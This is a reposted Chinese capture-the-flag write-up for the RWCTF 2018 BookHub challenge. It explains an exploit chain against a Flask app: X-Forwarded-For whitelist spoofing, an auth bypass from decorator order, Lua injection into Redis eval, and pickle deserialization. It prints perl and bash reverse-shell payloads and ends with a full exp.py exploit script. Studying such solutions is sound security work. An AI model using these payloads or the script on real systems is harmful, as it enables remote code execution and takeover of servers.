内容简介:How to pwn bookhub?hint: www.zip
Detail
How to pwn bookhub?
hint: www.zip
Writeup
0x01 Bypass IP
太垃圾了了,一开始掉进了XFF的坑里
./bookhub/forms.py
class LoginForm(FlaskForm):
username = StringField('username', validators=[DataRequired()])
password = PasswordField('password', validators=[DataRequired()])
remember_me = BooleanField('remember_me', default=False)
def validate_password(self, field):
address = get_remote_addr()
whitelist = os.environ.get('WHITELIST_IPADDRESS', '10.0.0.1')
./bookhub/helper.py
def get_remote_addr():
address = flask.request.headers.get(
'X-Forwarded-For', flask.request.remote_addr)
try:
ipaddress.ip_address(address)
except ValueError as e:
op(e)
return None
else:
return address
仔细看的时候才发现有个特殊的IP
扫一波端口发现 5000 ,访问后是新大陆
debug mode
X-Forwarded-For(XFF)伪造
X-Forwarded-For位于HTTP协议的请求头, 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入RFC 7239(Forwarded HTTP Extension)标准之中。
格式 : X-Forwarded-For: client, proxy1, proxy2
这个请求头可以被用户或者代理服务器修改的,因此也就可能存在 XFF伪造 的问题。
以Nginx为例:
location / {
proxy_pass http://webserver;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
$proxy_add_x_forwarded_for 变量包含客户端请求头中的 X-Forwarded-For ,与 $remote_addr 用逗号分开,如果没有 X-Forwarded-For 请求头,则 $proxy_add_x_forwarded_for 等于 $remote_addr 。
第一个代理获取的是客户端的 X-Forwarded-For 或者是 remote_addr ,而第二个代理获取的必然是第一个代理的 remote_addr 。
X-Forwarded-For: [xff|client_addr], proxy1, proxy2
所以,在代理的情况下, address = flask.request.headers.get( 'X-Forwarded-For', flask.request.remote_addr) 获取到的就不是单个IP了,而是用 , 分割的IP字符串。
PHP中获取IP的代码:
// thinkphp_3.2.3
function get_client_ip($type = 0) {
$type = $type ? 1 : 0;
static $ip = NULL;
if ($ip !== NULL) return $ip[$type];
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$arr = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$pos = array_search('unknown',$arr);
if(false !== $pos) unset($arr[$pos]);
$ip = trim($arr[0]);
}elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}elseif (isset($_SERVER['REMOTE_ADDR'])) {
$ip = $_SERVER['REMOTE_ADDR'];
}
// IP地址合法验证
$long = sprintf("%u",ip2long($ip));
$ip = $long ? array($ip, $long) : array('0.0.0.0', 0);
return $ip[$type];
}
分割 X-Forwarded-For 并获取第一个,也就是获取到有可能存在的伪造的 [xff|client_addr]
0x02 Login or Unauthorized Access (感谢chybeta大佬指正)
又一次掉进坑里,事实上,如图源码里的 migrations ,数据库里面根本没有用户,还zz地爆破弱口令
./bookhub/views/user.py
if app.debug:
@user_blueprint.route('/admin/system/')
@login_required
def system():
@user_blueprint.route('/admin/system/change_name/', methods=['POST'])
@login_required
def change_name():
...
@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():
可以看出, refresh_session() 的装饰器顺序和其他的不同。
Python的装上器是一层一层添加的
@warp2
@warp1
def func():
print(1)
调用函数的时候: func(warp2)->func(warp1)->func
在Flask中,访问 /admin/system/ :system(user_blueprint)->system(login_required)->system(),这时候就会判断 login_required 对登陆状态进行验证。
而访问 /admin/system/refresh_session/ :refresh_session(user_blueprint)->refresh_session(),这个地方就是没有 login_required 什么事了,也就造成了绕过权限控制的问题。
我还是太菜了,又研究了一波装饰器的问题
0x03 Redis & Lua Injection
./bookhub/views/user.py
if app.debug:
...
@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():
status = 'success'
sessionid = flask.session.sid
prefix = app.config['SESSION_KEY_PREFIX']
if flask.request.form.get('submit', None) == '1':
try:
rds.eval(rf'''
local function has_value (tab, val)
for index, value in ipairs(tab) do
if value == val then
return true
end
end
return false
end
local inputs = {{ "{prefix}{sessionid}" }}
local sessions = redis.call("keys", "{prefix}*")
for index, sid in ipairs(sessions) do
if not has_value(inputs, sid) then
redis.call("del", sid)
end
end
''', 0)
except redis.exceptions.ResponseError as e:
print(e)
app.logger.exception(e)
status = 'fail'
return flask.jsonify(dict(status=status))
- sessionid = flask.session.sid
- rds.eval(...)
- local inputs = {{ "{prefix}{sessionid}" }}
- Lua Script Inject & ByPass del
这一步就4个点, sessionid 可控,并注入到 Lua脚本 被 redis.eval 执行,还得绕过 del
Test Pyaload :
-- 闭合语句
local inputs = { "{prefix}" }
-- urlDecode 处理不可见字符
local function urlDecode(s)
s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end)
return s
end
-- 写payload
redis.call("set","bookhub:session:sid",urlDecode("payload"))
-- 绕过del并注释后面的内容
inputs ={ "bookhub:session:sid" } -- " }
注入语句是没有换行的,当然 Lua 脚本的格式也和换行无关
Pyaload :
" } local function urlDecode(s) s=string.gsub(s,'%%(%x%x)',function(h) return string.char(tonumber(h, 16)) end) return s end redis.call("set","bookhub:session:sid",urlDecode("payload")) inputs = { "bookhub:session:sid" } -- " }
其实一开始,没想到用 urlDecode ,Lua的十六进制用 \XX 而不是常见的 \xXX ,
神一般的操作
0x04 flask_session Pickle & Rebound Shell
#flask_session/sessions.py
class RedisSessionInterface(SessionInterface):
...
serializer = pickle
...
def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
...
val = self.redis.get(self.key_prefix + sid)
if val is not None:
try:
data = self.serializer.loads(val)
return self.session_class(data, sid=sid)
except:
return self.session_class(sid=sid, permanent=self.permanent)
return self.session_class(sid=sid, permanent=self.permanent)
- serializer = pickle
- sid = request.cookies.get(app.session_cookie_name)
- data = self.serializer.loads(val)
明显的Python pickle 反序列化漏洞
class exp(object):
def __reduce__(self):
s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (
listen_ip, listen_port)
return (os.system, (s,))
服务器有毒, s = """/bin/bash -i >& /dev/tcp/%s/%d 0>&1""" % ( listen_ip, listen_port) , bash反弹 死活不成功
然后 perl 反弹成功了
Flag : rwctf{fl45k_1s_a_MAg1cal_fr4mew0rk_t0000000000}
exp.py
# -*- coding:utf-8 -*-
__AUTHOR__ = 'Virink'
import os
import sys
import requests as req
import re
from urllib.parse import quote as urlencode
try:
import cPickle as pickle
except ImportError:
import pickle
URL = "http://18.213.16.123:5000/"
listen_ip = 'your_vps_ip'
listen_port = 7979
class exp(object):
def __reduce__(self):
s = "perl -e 'use Socket;$i=\"%s\";$p=%d;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (
listen_ip, listen_port)
return (os.system, (s,))
if __name__ == '__main__':
payload = urlencode(pickle.dumps([exp()]))
# 插入payload并防止del
sid = '\\" } local function urlDecode(s) s=string.gsub(s,\'%%(%x%x)\',function(h) return string.char(tonumber(h, 16)) end) return s end ' + \
'redis.call(\\"set\\",\\"bookhub:session:qaq\\",urlDecode(\\"%s\\")) inputs = { \"bookhub:session:qaq\" } --' % (
payload)
headers = {"Content-Type": "application/x-www-form-urlencoded"}
# 注入payload
headers["Cookie"] = 'bookhub-session="%s"' % sid
res = req.get(URL + 'login/', headers=headers)
if res.status_code == 200:
r = re.findall(r'csrf_token" type="hidden" value="(.*?)">',
res.content.decode('utf-8'))
if r:
# refresh_session
headers['X-CSRFToken'] = r[0]
data = {'submit': '1'}
res = req.post(URL + 'admin/system/refresh_session/',
data=data, headers=headers)
if res.status_code == 200:
# 触发RCE
req.get(URL + 'login/',
headers={'Cookie': 'bookhub-session=qaq'})
感想
- 我还是太弱了
- 我真的还是太弱了
- 太弱了
Web狗->没活路的样子,得熟悉各种语言的特性
膜 PHITHON 神鬼莫测的出题思路
- XFF绕代理orCDN 的坑
- Login代码(装饰器) 的坑
- Lua 的坑
- 反弹 shell 的坑
就让比赛主题 Real World ,很坑但很真实。
神如Ph牛挖坑,菜鸡如我爬坑!
以上所述就是小编给大家介绍的《RWCTF2018 BookHub Writeup & 爬坑感悟》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Head First JavaScript Programming
Eric T. Freeman、Elisabeth Robson / O'Reilly Media / 2014-4-10 / USD 49.99
This brain-friendly guide teaches you everything from JavaScript language fundamentals to advanced topics, including objects, functions, and the browser’s document object model. You won’t just be read......一起来看看 《Head First JavaScript Programming》 这本书的介绍吧!